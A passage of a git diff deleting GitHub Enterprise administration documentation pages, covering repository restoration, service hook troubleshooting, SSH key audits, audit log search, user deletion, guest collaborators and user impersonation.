property will inherit the default value. -1. Click **Save property**. - -## Promoting organization properties to enterprise properties - -You can promote a property from an organization to your enterprise account, to ensure that property name and values are available for use across all organizations in the enterprise. - -{% data reusables.enterprise-accounts.access-enterprise %} -1. In the left sidebar, under "Policies", click **Custom properties**. -1. To see all properties managed by organizations, select **Filter** and choose the qualifier **Managed by** and **organization** as the value, or enter `managed-by:organization` in the filter bar. -1. Optionally, to see properties managed by a specific organization, select **Filter** and choose the qualifier **Organization** and an organization name as the value, or enter `org:<ORGANIZATION-NAME>` in the filter bar. -1. From the list of properties, select the property name that you want to promote. This takes you to the property details page. -1. To promote the selected property, click **Promote to enterprise**. The property name must be unique across all organizations in the enterprise otherwise the promotion will not be permitted. -1. Click **Promote**. diff --git a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md b/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md deleted file mode 100644 index 4f769e204f8b..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Restoring a deleted repository -intro: You can restore deleted repositories to recover their contents. -permissions: Enterprise owners can restore a deleted repository. -versions: - ghes: '*' -topics: - - Enterprise - - Privacy - - Repositories -shortTitle: Restore a deleted repository -redirect_from: - - /admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository ---- - -## About repository restoration - -Usually, if someone deletes a repository, it will be available on disk for 90 days and can be restored via the site admin dashboard. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/site-admin-dashboard). - -Unless a legal hold is in effect on a user or organization, after 90 days the repository is purged and deleted forever. - -If a repository was part of a fork network when it was deleted, the restored repository will be detached from the original fork network. - -It can take up to an hour after a repository is deleted before that repository is available for restoration. - -Restoring a repository will not restore release attachments or team permissions. Issues that are restored will not be labeled. - -## Restoring a deleted repository - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.search-user-or-org %} -{% data reusables.enterprise_site_admin_settings.click-user-or-org %} -1. In the **{% octicon "repo" aria-hidden="true" %} Repositories** section, click the **{% octicon "trash" aria-hidden="true" %} Deleted repositories** link. -1. Find the repository you want to restore in the deleted repositories list, then to the right of the repository name click **Restore**. -1. To confirm you would like to restore the named repository, click **Restore**. - -## Further reading - -* [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/placing-a-legal-hold-on-a-user-or-organization) diff --git a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md b/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md deleted file mode 100644 index b687b901d99b..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Troubleshooting service hooks -intro: 'If payloads aren''t being delivered, check for these common problems.' -redirect_from: - - /enterprise/admin/articles/troubleshooting-service-hooks - - /enterprise/admin/developer-workflow/troubleshooting-service-hooks - - /enterprise/admin/user-management/troubleshooting-service-hooks - - /admin/user-management/troubleshooting-service-hooks - - /admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks -versions: - ghes: '*' -topics: - - Enterprise -shortTitle: Troubleshoot service hooks ---- -## Getting information on deliveries - -You can find information for the last response of all service hooks deliveries on any repository. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_user_management.service-hooks-sidebar-navigation %} -1. Under the service hook having problems, click **Latest Delivery**. -1. Under **Remote Calls**, you'll see the headers that were used when POSTing to the remote server along with the response that the remote server sent back to your installation. - -## Viewing the payload - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_user_management.service-hooks-sidebar-navigation %} -1. Under the service hook having problems, click the **Latest Delivery** link. -1. Click **Delivery**. - -## Viewing past deliveries - -Deliveries are stored for 15 days. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_user_management.service-hooks-sidebar-navigation %} -1. Under the service hook having problems, click the **Latest Delivery** link. -1. To view other deliveries to that specific hook, click **More for this Hook ID**. diff --git a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/viewing-user-owned-repositories-in-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/viewing-user-owned-repositories-in-your-enterprise.md deleted file mode 100644 index 6a233102075a..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/viewing-user-owned-repositories-in-your-enterprise.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Viewing user-owned repositories in your enterprise -intro: "You can view all repositories owned by users within your enterprise." -permissions: Enterprise owners can view user-owned repositories. -versions: - feature: 'emu-owned-repos' -type: how_to -topics: - - Enterprise - - Repositories -shortTitle: View user-owned repositories -redirect_from: - - /admin/user-management/managing-repositories-in-your-enterprise/viewing-user-owned-repositories-in-your-enterprise ---- - -> [!NOTE] -> Viewing user-owned repositories is currently in {% data variables.release-phases.public_preview %} for {% data variables.product.prodname_emus %} and subject to change. - -If your enterprise uses {% data variables.product.prodname_emus %}, and you've allowed users to create repositories owned by their user accounts, you can view all user-owned repositories within your enterprise. - -You can also temporarily access any user-owned repository. For more information, see [AUTOTITLE](/admin/user-management/managing-repositories-in-your-enterprise/accessing-user-owned-repositories-in-your-enterprise). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.repositories-tab %} -{% data reusables.enterprise.view-user-namespace-repos %} diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/about-reserved-usernames-for-github-enterprise-server.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/about-reserved-usernames-for-github-enterprise-server.md deleted file mode 100644 index d8eca4ed82ef..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/about-reserved-usernames-for-github-enterprise-server.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: About reserved usernames for GitHub Enterprise Server -shortTitle: Reserved usernames -intro: Certain words are reserved for internal use and cannot be used as usernames. -permissions: Enterprise owners -versions: - ghes: '*' -type: reference -topics: - - Enterprise - - Fundamentals ---- - -## About reserved usernames - -{% data variables.product.prodname_ghe_server %} reserves certain usernames for internal use. You cannot assign reserved usernames to users or organizations on your instance. For example, the following words are reserved: - -* `admin` -* `enterprise` -* `login` -* `staff` -* `support` - -## Viewing reserved username - -You can view a full list of reserved usernames for {% data variables.location.product_location %}. - -1. In the upper-right corner of any page, click {% octicon "rocket" aria-label="Site admin" %}. -1. In the left sidebar, click **Reserved logins**. diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/auditing-ssh-keys.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/auditing-ssh-keys.md deleted file mode 100644 index c2280fc14485..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/auditing-ssh-keys.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Auditing SSH keys -intro: Site administrators can initiate an instance-wide audit of SSH keys. -redirect_from: - - /enterprise/admin/articles/auditing-ssh-keys - - /enterprise/admin/user-management/auditing-ssh-keys - - /admin/user-management/auditing-ssh-keys - - /admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys -versions: - ghes: '*' -type: how_to -topics: - - Auditing - - Enterprise - - Security - - SSH ---- -Once initiated, the audit disables all existing SSH keys and forces users to approve or reject them before they're able to clone, pull, or push to any repositories. An audit is useful in situations where an employee or contractor leaves the company and you need to ensure that all keys are verified. - -## Initiating an audit - -You can initiate an SSH key audit from the "All users" tab of the site admin dashboard. After you click the **Start public key audit** button, you'll be taken to a confirmation screen explaining that initiating an SSH key audit will disable all public keys, preventing pushing and pulling over SSH. Users will be required to verify their public keys to restore SSH access. - -After you click the **Begin audit** button, all SSH keys are invalidated and will require approval. You'll see a notification indicating the audit has begun. - -## What users see - -If a user attempts to perform any git operation over SSH, it will fail and provide them with the following message: - -```shell -ERROR: Hi USERNAME. We're doing an SSH key audit. -Please visit http(s)://HOSTNAME/settings/ssh/audit/2 -to approve this key so we know it's safe. -Fingerprint: ed:21:60:64:c0:dc:2b:16:0f:54:5f:2b:35:2a:94:91 -fatal: The remote end hung up unexpectedly -``` - -When they follow the link, they're asked to approve the keys on their account. After they approve or reject their keys, they'll be able interact with repositories as usual. - -## Adding an SSH key - -When a new user adds an SSH key to an account, to confirm the user's access, {% data variables.product.prodname_ghe_server %} will prompt for authentication. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/sudo-mode). - -When a user adds a key, they'll receive a notification email that will look something like this: - - The following SSH key was added to your account: - - [title] - ed:21:60:64:c0:dc:2b:16:0f:54:5f:2b:35:2a:94:91 - - If you believe this key was added in error, you can remove the key and disable access at the following location: - - http(s)://HOSTNAME/settings/ssh diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md deleted file mode 100644 index b2e6b76f60ed..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Auditing users across your enterprise -intro: 'The audit log dashboard shows site administrators the actions performed by all users and organizations across your enterprise within the last 180 days. The audit log includes details such as who performed the action, what the action was, and when the action was performed.' -redirect_from: - - /enterprise/admin/guides/user-management/auditing-users-across-an-organization - - /enterprise/admin/user-management/auditing-users-across-your-instance - - /admin/user-management/auditing-users-across-your-instance - - /admin/user-management/auditing-users-across-your-enterprise - - /admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise -versions: - ghes: '*' -type: how_to -topics: - - Auditing - - Enterprise - - Organizations - - Security - - User account -shortTitle: Audit users ---- -## Accessing the audit log - -The audit log dashboard gives you a visual display of audit data across your enterprise. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.audit-log-tab %} - -Within the map, you can pan and zoom to see events around the world. Hover over a country to see a quick count of events from that country. - -## Searching for events across your enterprise - -The audit log lists the following information about actions made within your enterprise: - -* [The repository](#search-based-on-the-repository) an action was performed in -* [The user](#search-based-on-the-user) who performed the action -* [Which organization](#search-based-on-the-organization) an action pertained to -* [The action](#search-based-on-the-action-performed) that was performed -* [Which country](#search-based-on-the-location) the action took place in -* [The date and time](#search-based-on-the-time-of-action) the action occurred - -> [!NOTE] -> * While you can't use text to search for audit entries, you can construct search queries using a variety of filters. {% data variables.product.prodname_ghe_server %} supports many operators for searching across your instance. For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/about-searching-on-github). -> * Audit records are available for the last 180 days. - -### Search based on the repository - -The `repo` qualifier limits actions to a specific repository owned by your organization. For example: - -* `repo:my-org/our-repo` finds all events that occurred for the `our-repo` repository in the `my-org` organization. -* `repo:my-org/our-repo repo:my-org/another-repo` finds all events that occurred for both the `our-repo` and `another-repo` repositories in the `my-org` organization. -* `-repo:my-org/not-this-repo` excludes all events that occurred for the `not-this-repo` repository in the `my-org` organization. - -You must include your organization's name within the `repo` qualifier; searching for just `repo:our-repo` will not work. - -### Search based on the user - -The `actor` qualifier scopes events based on the member of your organization that performed the action. For example: - -* `actor:octocat` finds all events performed by `octocat`. -* `actor:octocat actor:hubot` finds all events performed by both `octocat` and `hubot`. -* `-actor:hubot` excludes all events performed by `hubot`. - -You can only use a {% data variables.product.github %} username, not an individual's real name. - -### Search based on the organization - -The `org` qualifier limits actions to a specific organization. For example: - -* `org:my-org` finds all events that occurred for the `my-org` organization. -* `org:my-org action:team` finds all team events performed within the `my-org` organization. -* `-org:my-org` excludes all events that occurred for the `my-org` organization. - -### Search based on the action performed - -The `action` qualifier searches for specific events, grouped within categories. For information on the events associated with these categories, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise). - -| Category name | Description -|------------------|------------------- -| `hook` | Contains all activities related to webhooks. -| `org` | Contains all activities related organization membership -| `repo` | Contains all activities related to the repositories owned by your organization. -| `team` | Contains all activities related to teams in your organization. - -You can search for specific sets of actions using these terms. For example: - -* `action:team` finds all events grouped within the team category. -* `-action:billing` excludes all events in the billing category. - -Each category has a set of associated events that you can filter on. For example: - -* `action:team.create` finds all events where a team was created. -* `-action:billing.change_email` excludes all events where the billing email was changed. - -### Search based on the location - -The `country` qualifier filters actions by the originating country. -* You can use a country's two-letter short code or its full name. -* Countries with spaces in their name must be wrapped in quotation marks. For example: - * `country:de` finds all events that occurred in Germany. - * `country:Mexico` finds all events that occurred in Mexico. - * `country:"United States"` all finds events that occurred in the United States. - -### Search based on the time of action - -The `created` qualifier filters actions by the time they occurred. -* Define dates using the format of `YYYY-MM-DD`--that's year, followed by month, followed by day. -* Dates support [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). For example: - * `created:2014-07-08` finds all events that occurred on July 8th, 2014. - * `created:>=2014-07-01` finds all events that occurred on or after July 8th, 2014. - * `created:<=2014-07-01` finds all events that occurred on or before July 8th, 2014. - * `created:2014-07-01..2014-07-31` finds all events that occurred in the month of July 2014. diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/best-practices-for-user-security.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/best-practices-for-user-security.md deleted file mode 100644 index a231a3d66182..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/best-practices-for-user-security.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Best practices for user security -intro: '{% ifversion ghes %}Outside of instance-level security measures (SSL, subdomain isolation, configuring a firewall) that a site administrator can implement, there {% else %}There {% endif %}are steps your users can take to help protect your enterprise.' -redirect_from: - - /enterprise/admin/user-management/best-practices-for-user-security - - /admin/user-management/best-practices-for-user-security - - /admin/user-management/managing-users-in-your-enterprise/best-practices-for-user-security -versions: - ghes: '*' -type: reference -topics: - - Enterprise - - Security - - User account -shortTitle: User security best practices ---- - -## Enabling two-factor authentication - -Two-factor authentication (2FA) is a way of logging in to websites and services that requires a second factor beyond a password for authentication. In {% data variables.product.prodname_ghe_server %}'s case, this second factor is a one time authentication code generated by an application on a user's smartphone. We strongly recommend requiring your users to enable two-factor authentication on their accounts. With two-factor authentication, both a user's password and their smartphone would have to be compromised to allow the account itself to be compromised. - -For more information on configuring two-factor authentication, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication). - -## Requiring a password manager - -We strongly recommend requiring your users to install and use a password manager on any computer they use to connect to your enterprise. Doing so ensures that passwords are stronger and much less likely to be compromised or stolen. - -## Restrict access to teams and repositories - -To limit the potential attack surface in the event of a security breach, we strongly recommend only giving users access to teams and repositories that they absolutely need to do their work. Since members with the Owner role can access all teams and repositories in the organization, we strongly recommend keeping this team as small as possible. - -For more information on configuring teams and team permissions, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization). diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/deleting-users-from-your-instance.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/deleting-users-from-your-instance.md deleted file mode 100644 index a602517e9ce5..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/deleting-users-from-your-instance.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Deleting users from your instance -intro: "You can delete a user's account to permanently remove their data from {% data variables.location.product_location %}." -versions: - ghes: '*' -type: how_to -topics: - - Access management - - Enterprise - - Security - - User account -shortTitle: Delete a user -permissions: Site administrators ---- - -## What happens when I delete a user account? - -Deleting a user account removes all repositories, forks of private repositories, wikis, issues, pull requests, pages, and packages and container images owned by the user account. By deleting a user account, **you may break software projects and workflows that depend on these things.** - -Issues and pull requests the user has created and comments they've made in repositories owned by other users or organizations will not be deleted and will instead be associated with a `ghost` user account. - -Once a user account has been deleted, the username will be available for use with a different account on {% data variables.location.product_location %}. - -## When can I delete a user account? - -You cannot delete a user that is currently an **organization owner**. - -* **If the user is the only owner:** Transfer ownership to another person, or delete the organization. See [AUTOTITLE](/organizations/managing-organization-settings/transferring-organization-ownership) and [AUTOTITLE](/organizations/managing-organization-settings/deleting-an-organization-account). -* **If there are other owners:** Remove the user from the organization. See [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization). - -You cannot delete **your own user account**. If you need to delete your own user account, ask another site administrator to delete your account for you. - -If you have enabled SCIM provisioning on your instance, you cannot delete **users who have been provisioned by SCIM**. - -## Should I delete or suspend a user account? - -{% data variables.product.company_short %} recommends suspending users where possible, rather than deleting their accounts. Suspending user accounts on {% data variables.product.prodname_ghe_server %} preserves the history of resources owned by the user account, such as repositories and pull requests, and releases the {% ifversion enterprise-licensing-language %}license{% else %}licensed seat{% endif %} previously consumed by the user. See [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/suspending-and-unsuspending-users). - -As an alternative to deleting or suspending a user account, to stop a user's repositories being permanently removed from your enterprise you can place a legal hold on the user account. See [Placing a legal hold on a user or organization](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/placing-a-legal-hold-on-a-user-or-organization). - -## Deleting a user from the site admin dashboard - -Before deleting a user account, you should consider if a backup or copy of the repositories, private forks, wikis, issues, and pull requests owned by the user account is required. See [AUTOTITLE](/admin/backing-up-and-restoring-your-instance/configuring-backups-on-your-instance) and [AUTOTITLE](/repositories/archiving-a-github-repository/backing-up-a-repository). - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.search-user %} -{% data reusables.enterprise_site_admin_settings.click-user %} -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -1. Under "Delete account," in the "Danger Zone" section, click **Delete this account**. -1. In the "Delete account" dialog box, under "Make sure you want to do this", review the changes. To confirm, enter the username of the account to be deleted. -1. Click **Delete this account**. - -## Further reading - -* [AUTOTITLE](/rest/enterprise-admin/users#delete-a-user) diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/enabling-guest-collaborators.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/enabling-guest-collaborators.md deleted file mode 100644 index b11bf5a98216..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/enabling-guest-collaborators.md +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Enabling guest collaborators -intro: "Learn how to enable guest collaborators in your identity provider and add guest collaborators to your enterprise." -versions: - feature: guest-collaborators -topics: - - Enterprise ---- - -## About guest collaborators - -{% data reusables.emus.guest-collaborators-note %} - -{% data reusables.emus.about-guest-collaborators %} - -## Enabling guest collaborators in your IdP - -If you use **Microsoft Entra ID** (previously known as Azure AD) or **Okta** for authentication, you may need update the {% data variables.product.prodname_emus %} application in your IdP. - -* [Enabling guest collaborators with Entra ID](#enabling-guest-collaborators-with-entra-id) -* [Enabling guest collaborators with Okta](#enabling-guest-collaborators-with-okta) - -### Enabling guest collaborators with Entra ID - -1. Sign into the Microsoft Azure portal. -1. Click **Identity**. -1. Click **Applications**. -1. Click **Enterprise applications**. -1. Click **All applications**. -1. View the details for your {% data variables.product.prodname_emus %} application. -1. In the left sidebar, click **Users and Groups**. -1. View the application registration. - - * If the application registration displays the "Restricted User" or "Guest Collaborator" roles, you're ready to invite guest collaborators to your enterprise. - * If the application registration does not display the roles, proceed to the next step. -1. In the Azure portal, click **App registrations**. -1. Click **All applications**, then use the search bar to find your application for {% data variables.product.prodname_emus %}. -1. Click your SAML or OIDC application. -1. In the left sidebar, click **Manifest**. -1. Search for the following `id`: `1ebc4a02-e56c-43a6-92a5-02ee09b90824` within the Manifest file: - - * If the `id` is not present, proceed to the next step. - * If the `id` is present, review the `description` and `displayName` values. If the values are not set to `Guest Collaborator`, you can rename both to be so, and proceed to step 15. - -1. Under the `appRoles` object, add the following block: - - ```json - { - "allowedMemberTypes": [ - "User" - ], - "description": "Guest Collaborator", - "displayName": "Guest Collaborator", - "id": "1ebc4a02-e56c-43a6-92a5-02ee09b90824", - "isEnabled": true, - "lang": null, - "origin": "Application", - "value": null - }, - ``` - - > [!NOTE] - > The `id` value is critical. If another `id` value is present, the update will fail. - -1. Click **Save**. - -### Enabling guest collaborators with Okta - -To add the guest collaborator role to your Okta application: - -1. Navigate to your application for {% data variables.product.prodname_emus %} on Okta. -1. Click **Provisioning**. -1. Click **Go to Profile Editor**. -1. Find "Roles" at the bottom of the profile editor and click the edit icon. -1. Add a new role. - - * For "Display name", type `Guest Collaborator`. - * For "Value", type `guest_collaborator`. -1. Click **Save**. - -## Adding guest collaborators to your enterprise - -When guest collaborators are enabled in your IdP, you can use SCIM to provision users with the `guest_collaborator` role. - -* If you use a partner IdP, use the "Roles" attribute in the {% data variables.product.prodname_emus %} application. -* If you use the SCIM endpoints of {% data variables.product.company_short %}'s REST API to provision users, use the `roles` user attribute. - -For more information about partner IdPs and other identity management systems, see [AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/about-enterprise-managed-users#identity-management-systems). - -## Giving guest collaborators access to resources - -When you have added a guest collaborator to your enterprise, you can add the user to specific organizations or repositories. - -### Add the user to an organization - -To give the user access to repositories in an organization, add the user as a **member of the organization**. - -* As for all members, the base permission policy for the organization determines whether the user has access to internal and private repositories by default. See [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/setting-base-permissions-for-an-organization). -* Guest collaborators can be members of IdP groups that are connected to {% data variables.product.prodname_dotcom %} teams, and will be added to the organization via SCIM, just like other enterprise members. See [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups). - -### Add the user to a repository - -To give the user access to specific repositories, add the user to the repositories as a **repository collaborator**. - -This gives the user access to the repository without giving them access to other internal or private repositories in the same organization. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators-or-repository-collaborators). - -## Further reading - -* [Tutorial: Configure GitHub Enterprise Managed User for automatic user provisioning](https://learn.microsoft.com/en-us/entra/identity/saas-apps/github-enterprise-managed-user-provisioning-tutorial) in the Entra ID documentation -* [Configure PingFederate for provisioning and SSO](https://docs.pingidentity.com/integrations/github/github_emu_provisioner/pf_gh_emu_configure_pf_for_provisioning_and_sso.html) in the PingIdentity documentation -* [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-for-enterprise-managed-users/configuring-scim-provisioning-with-okta) -* [AUTOTITLE](/admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/provisioning-users-with-scim-using-the-rest-api) diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise.md deleted file mode 100644 index 816f363abfe9..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Exporting membership information for your enterprise -intro: "You can export information about all of your enterprise's members from {% data variables.product.prodname_dotcom %}'s web UI." -versions: - feature: enterprise-member-csv -topics: - - Enterprise -shortTitle: Export membership information -permissions: Enterprise owners can export membership information for an enterprise. -redirect_from: - - /admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise ---- - -## About export of membership information - -You can export aggregated information about your enterprise's members as a membership information report. For example, you may want to perform an audit of your enterprise's current members. You can generate a file containing the report from {% data variables.product.prodname_dotcom %}'s web UI. - -The membership information report includes the following information. - -> [!NOTE] -> You can only export the datetime of the user's last activity at the organization level. For more information, see [AUTOTITLE](/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization#about-export-of-membership-information). - -* Username and display name details -* Whether the user has two-factor authentication enabled and how secure their 2FA configuration is -* Whether the user is an organization owner or member -* Organizations with pending invitations -* Optionally, additional information that depends on the enterprise's configuration: - * The user's email addresses for a verified domain - * The user's SAML `NameID` - * Username and primary email addresses on any {% data variables.product.prodname_ghe_server %} instances where {% data variables.product.prodname_github_connect %} is configured - * User, subscription email address, and license status for {% data variables.visual_studio.prodname_vss_ghe %} - -You can also use {% data variables.product.prodname_dotcom %}'s APIs to retrieve information about your enterprise's members. For more information, see the [GraphQL API](/graphql/reference/objects#user) and [REST API](/rest/users) documentation. - -Organization owners can also export membership information for an organization. For more information, see [AUTOTITLE](/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization). - -## Exporting a membership information report - -You can download a CSV file containing the membership information report for your enterprise. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -1. To the right of "Members", click **{% octicon "download" aria-hidden="true" %} CSV Report**. - - * If your enterprise has less than 1,000 members, the report will download immediately. - * If your enterprise has 1,000 or more members, you'll soon receive an email with a link to download the report. diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/impersonating-a-user.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/impersonating-a-user.md deleted file mode 100644 index 900147efc729..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/impersonating-a-user.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Impersonating a user -intro: 'You can impersonate users and perform actions on their behalf, for troubleshooting, unblocking, and other legitimate reasons.' -permissions: Enterprise owners can impersonate users within their enterprise. -versions: - ghes: '*' -type: how_to -topics: - - Administrator - - Enterprise - - User account -shortTitle: Impersonate a user -redirect_from: - - /admin/user-management/managing-users-in-your-enterprise/impersonating-a-user ---- - -## About user impersonation - -If you need to temporarily take over a user account, for example when troubleshooting a user problem, or when the user is unavailable and urgent action is required, you can start an impersonation session to act on their behalf. - -For each impersonation session, you need to provide a reason for the impersonation. A session is limited to one hour, and you will have the same access as the user being impersonated. - -Actions you perform during an impersonation session are recorded as events in the enterprise audit log, as well as the impersonated user's security log. The person being impersonated is sent an email notification when the impersonation session starts. You cannot deactivate these emails. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise) and [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log). - -## Impersonating a user - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.search-user %} -{% data reusables.enterprise_site_admin_settings.click-user %} -1. In the top left of the page, click **User info**. - - ![Screenshot of the "User info" section for a user. The "User info" heading is outlined. Under the heading, the user is marked as active.](/assets/images/enterprise/stafftools/user-info.png) -1. Under "Danger Zone", click **Sign in to GitHub as @username** -1. Select a reason from the dropdown list. If you select **Other** you will need to provide additional context in the text field below **Notes**. Click **Begin impersonation** to begin the session. -1. When you are ready to end the impersonation session, click **Return to your mundane life as username** in the banner at the top of the page. diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/index.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/index.md deleted file mode 100644 index f0a27e358be8..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/index.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Managing users in your enterprise -intro: You can audit user activity and manage user settings. -redirect_from: - - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise - - /enterprise/admin/guides/user-management/enabling-avatars-and-identicons - - /enterprise/admin/user-management/basic-account-settings - - /enterprise/admin/user-management/user-security - - /enterprise/admin/user-management/managing-users-in-your-enterprise - - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise-account/managing-users-in-your-enterprise-account - - /articles/managing-users-in-your-enterprise-account - - /articles/managing-users-in-your-enterprise -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise -children: - - /roles-in-an-enterprise - - /best-practices-for-user-security - - /inviting-people-to-manage-your-enterprise - - /managing-invitations-to-organizations-within-your-enterprise - - /managing-organization-members-in-your-enterprise - - /about-reserved-usernames-for-github-enterprise-server - - /promoting-or-demoting-a-site-administrator - - /managing-support-entitlements-for-your-enterprise - - /viewing-people-in-your-enterprise - - /exporting-membership-information-for-your-enterprise - - /viewing-and-managing-a-users-saml-access-to-your-enterprise - - /auditing-users-across-your-enterprise - - /impersonating-a-user - - /removing-a-member-from-your-enterprise - - /managing-dormant-users - - /suspending-and-unsuspending-users - - /deleting-users-from-your-instance - - /placing-a-legal-hold-on-a-user-or-organization - - /auditing-ssh-keys - - /rebuilding-contributions-data - - /enabling-guest-collaborators -shortTitle: Manage users ---- diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md deleted file mode 100644 index 659600a473f4..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Inviting people to manage your enterprise -intro: 'You can {% ifversion ghec %}invite{% else %}add{% endif %} and remove enterprise owners{% ifversion ghec %} and billing managers{% endif %} for your enterprise account.' -permissions: 'Enterprise owners can {% ifversion ghec %}invite other people to become{% elsif ghes %}add{% endif %} additional enterprise administrators.' -redirect_from: - - 